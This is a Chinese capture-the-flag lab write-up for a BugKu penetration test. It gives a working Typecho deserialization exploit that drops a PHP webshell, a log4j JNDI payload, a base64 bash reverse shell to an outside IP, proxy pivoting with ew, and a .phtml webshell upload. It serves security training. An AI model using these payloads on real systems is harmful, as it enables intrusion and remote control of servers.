typecho和emlog/typecho漏洞-新手网络安全入门教程

typecho和emlog/typecho漏洞-新手网络安全入门教程

BugKu-PAR-渗透测试2

注:这是在做完靶场几天后做的wp,环境都已经没有了,只能纯靠文字讲述,但基本思路都写出来了,按照这个思路做是没什么问题的

扫描发现.git源码泄露

使用下载下来,查看文件发现是,存在一个反序列化漏洞可导致命令执行

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct()
    {
        $this->_params['screenName'] = "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php";
        $this->_filter[0] = 'system';
    }
}
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;
    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());
        $this->_items[0] = $item;
    }
}
$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

写马,蚁剑连接在根目录发现flag,在web目录下还存在admin.ini.php文件,里面存放着数据库的账号和密码,使用蚁剑插件连接在数据库中发现flag

开始打内网,查看/etc/hosts确定下一目标地址

cat /etc/hosts

通过蚁剑上传ew搭建代理

kali执行:(在本地起了一个端口为1010的代理)

./ew_for_linux64 -s rcsocks -l 1010 -e 7777

蚁剑执行:

./ew_for_linux64 -s rssocks -d kali地址 -e 8888

连接成功后,kali那边会回显ok

利用蚁剑上传fscan扫描内网并将结果保存到a.txt中

fscan -h 内网地址 > a.txt

扫到一个web站点,访问是一个登录框,点击登录时会在返回头中提示源码文件名

下载源码解压可以看到是log4j,那就很明显了就是打log4j

使用vps起一个jndi服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzQuNTYuMjAwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "49.234.56.200"

那段编码内网就是要执行的反弹shell命令,把反弹地址和端口换成自己的并开启监听

之后在那台存在log4j的靶机上执行

${jndi:rmi://119.91.32.206:1099/fv304f}

rmi://119.91.32.206:1099/要根据你的jndi服务来填写

执行成功后会弹回来一个shell是root权限,在起根目录和root目录下都存在flag文件,在根目录下还存在一个start.sh文件,查看该文件可以发现是把flag写到了js文件中,查看js文件得到flag

接着在这台log4j的机器上执行cat /etc/hosts寻找下一目标地址

cat /etc/hosts

也可以通过 ip add等方法查看ip地址

确定好下一目标地址之后,就要设置代理了,kali开启web服务

python3 -m http.server

将ew放到这个临时web目录下

在目标机器上使用wget下载ew

wget http://0.0.0.0:8000/ew_for_linux64

为了信息收集,在把fscan下载了

wget http://0.0.0.0:8000/fscan_amd64

接下来设置代理

kali执行:

./ew_for_linux64 -s rcsocks -l 1000 -e 8888

在本地的1000端口上起了个代理

靶机执行:

./ew_for_linux64 -s rssocks -d kali地址 -e 8888

执行成功后kali那边会回显ok,此时代理已经搭建好,下面就利用fscan信息收集确定好攻击目标

./fscan_amd64 -h 目标地址段

扫到了192.168.1.3,火狐浏览器设置代理,此时的代理就不是第一个ew代理了,而是第二个也就是端口为1000的代理地址

访问192.168.1.3,开启了web服务,里面的功能就类似于你输入一个仓库地址,他就会给你clone下来,然后你可以访问他clone后的文件

在clone仓库的过程中也会clone仓库中的文件,也不免可以猜到在仓库里放置一个一句话木马,在它clone后去访问,但是正常的.php后缀是不会执行,经过测试后发现.phtml是可以被执行的

在仓库中编写一个.phtml后缀的一句话木马文件,输入仓库地址,他clone后直接访问就,在根目录发现flag

接下来还是一样的套路查看网卡信息,kali开启web服务,靶机下载fscan扫描,下载ew设置代理,需要注意的是代理地址记得要改变否则会被占用,就会代理搭建失败

fccan扫描

./fscan_amd64 -h 目标地址段

设置代理

kali执行:

./ew_for_linux64 -s rcsocks -l 1040 -e 9999

此时的代理端口就是1040

靶机执行

./ew_for_linux64 -s rssocks -d kali地址 -e 9999

最后两个flag给了两个提示分别是guest和 /,通过fscan扫描也可以发现内网有台主机开放了21ftp服务

账号密码都是guest,ls发现flag,get flag下载下得到第七个flag

切换到跟目录 cd /下载根目录中的最后一个flag

至此flag全部拿到!

~

网络安全学习,我们一起交流

~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值